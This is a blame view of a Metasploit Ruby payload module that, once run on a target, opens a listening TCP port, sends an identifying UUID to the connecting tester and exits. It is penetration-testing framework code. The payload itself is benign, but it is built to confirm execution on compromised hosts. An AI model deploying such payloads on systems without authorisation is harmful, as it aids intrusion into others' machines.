Files
metasploit-gs/modules/payloads/singles/ruby/pingback_bind_tcp.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

42 lines
1023 B
Ruby
Raw Normal View History

2019-05-17 16:13:12 -05:00
module MetasploitModule
2019-07-30 10:34:47 -05:00
CachedSize = 103
2019-05-17 16:13:12 -05:00
include Msf::Payload::Single
include Msf::Payload::Ruby
include Msf::Payload::Pingback
include Msf::Payload::Pingback::Options
2019-05-17 16:13:12 -05:00
def initialize(info = {})
super(merge_info(info,
'Name' => 'Ruby Pingback, Bind TCP',
'Description' => 'Listens for a connection from the attacker, sends a UUID, then terminates',
'Author' => 'asoto-r7',
'License' => MSF_LICENSE,
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::Pingback,
2019-07-26 14:51:44 -05:00
'PayloadType' => 'ruby'
))
2019-05-17 16:13:12 -05:00
end
2022-11-04 00:33:03 +00:00
def generate(_opts = {})
2019-05-17 16:13:12 -05:00
#return prepends(ruby_string)
return ruby_string
end
def ruby_string
self.pingback_uuid ||= self.generate_pingback_uuid
2019-07-30 10:32:31 -05:00
return "require'socket';" \
"s=TCPServer.new(#{datastore['LPORT'].to_i});"\
"c=s.accept;"\
"s.close;"\
2019-07-30 10:32:31 -05:00
"c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}\'.unpack('m0');"
"c.close"
2019-05-17 16:13:12 -05:00
end
end